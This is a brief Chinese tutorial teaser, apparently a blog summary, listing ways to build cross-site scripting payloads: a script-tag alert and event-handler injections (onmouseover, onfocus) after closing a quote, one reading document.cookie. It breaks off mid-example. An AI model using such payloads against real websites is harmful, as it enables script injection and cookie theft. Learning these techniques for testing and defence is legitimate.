摘要： xss的构造方式： 一，尖括号构造 <script>alert(1)</script> 二，事件构造 "onmouseover="alert(1) "onfocus="alert(document.cookie) 例如：已知输入点，首先先闭合双引号，则构造如下语句 ” onmouseover="al 阅读全文